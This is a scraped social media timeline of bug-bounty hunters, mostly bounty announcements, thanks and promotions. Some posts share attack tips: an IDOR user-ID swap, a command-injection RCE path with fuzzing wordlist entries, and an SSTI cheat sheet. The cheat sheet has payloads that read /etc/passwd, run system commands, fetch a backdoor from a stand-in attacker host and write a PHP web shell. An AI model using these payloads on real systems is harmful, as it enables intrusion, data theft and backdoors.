Prince Roy

Ethical Hacker | Security Researcher | Ex-GPCSSI2021 | Acknowledge By the U.S Dept , NASA , NCSC and MOD of the UK , NCIIPC India, Microsoft and more(50+)🧑‍💻

[Prince Roy @royzsec]

Har Har Mahadev🔱❤️

Got RXSS… on @Microsoft

Thanks to @ADITYASHENDE17 sir

#bugbounty #bugcrowd #bughunting #hacking #hacker #webapplicationsecurity #hackerone #vulnerabilities #hackingtools #bugbountytips #cehv12

[Prince Roy @royzsec]

@ElonsolanaX BchUJWjWP1WHDtyHpwfQwdHWBqhEeTiyaboJKYagHeic

[Prince Roy @royzsec]

@ADITYASHENDE17 @ich_rish99 @hedoneism @ADITYASHENDE17 sir you still consider him as a boy 😐😐…. I don’t think so ….

[Tushar Verma 🇮🇳 @e11i0t_4lders0n]

When life gives you pain. Go to Gym 💪🏻

[Prince Roy @royzsec]

@Cyber_Ritik Kiya bat he sir 💪 congrats.

[Ritik Raj 🇮🇳 @Cyber_Ritik]

Yeh i awarded $$$ for idor

post/v4/workspace/user_id/detail

I just chnage the POST to GET and change the user_id

GET/v4/workspace/victim_id/detail

It leaks 1000+ user workspace details like email,workspace_name,members_details and many more

#BugBounty #bugbountytip

[Prince Roy @royzsec]

@NASA acknowledged me ☝🏻.

Credit goes to @ADITYASHENDE17

[Kanhaiya Sharma @krishnsec]

consistency is king
bcoz potential is a flirt .

[Prince Roy @royzsec]

@Cyber_Ritik Congrats sir …..@Cyber_Ritik please give us some tips ….

[Prince Roy @royzsec]

@ADITYASHENDE17 Red ❤️

[Yash___HackZ @HackzYash]

New article is published by @royzsec

Cloudflare Bypass leads to RXSS[Reflected-Cross Site Scripting] in Microsoft

https://t.co/f2yKdFznvb

[Prince Roy @royzsec]

@Cyber_Ritik Sir tech me something.

[Prince Roy @royzsec]

@AtharvShejwal @ADITYASHENDE17 Pesa hi pesa

[Aditya @ADITYASHENDE17]

🚀 Excited to announce the launch of our exclusive hacker gear! 💻🔒 Join me and the @kong_sec team in celebrating the release of our Merchandise for Hackers by Hackers.

🎉 Special alert: No Shipping cost, No Tax! 📦💰 Grab yours now at https://t.co/YxNagQZXut and gear up for your next hacking adventure! #CyberSecurity #HackerGear #merchandise #kongsec

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

story of very quick RCE

Target/cgi-bin/dmt/reset.cgi?db_prefix=%26id%26

You can to add this paths for ur wordlist

cgi-bin/dmt/reset.cgi?db_prefix=%26id%26

cgi-bin/reset.cgi?db_prefix=%26id%26

fuzzing as well

cgi-bin/FUZZ.cgi?FUZZ=%26id%26

#bugbountytips ❤️

[X @TheMsterDoctor1]

Happy Hunting!!!😎😎🚨🚨

SSTI (Server Side Template Injection)

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

#BugBounty #bugbountytips

[Prince Roy @royzsec]

Har Har Mahadev🔱❤️‍🔥

I hope you guys will find this helpful.

#BugBounty #hackerone #bugcrowd #Pentesting #hackingtools #bugbountytip #webhacking

https://t.co/wlRadGsRBX

[Prince Roy @royzsec]

Got bounty 😖😖

#bugbountytip #bounty #hacking #CyberAttack #cyberpunk #bugbountymems #hackerone #bugcrowd #synack #intigriti

[Aditya @ADITYASHENDE17]

Hello everyone if you are going to attend @bsidesgoa here's something extra special: use the code 'BSIDESGOA-KONGSEC' when you register

-https://t.co/xAw5R5eV1S

💼 Don’t forget to follow me on instagram for special updates #BSidesGoa #CyberSec #kongsec

[Prince Roy @royzsec]

@ADITYASHENDE17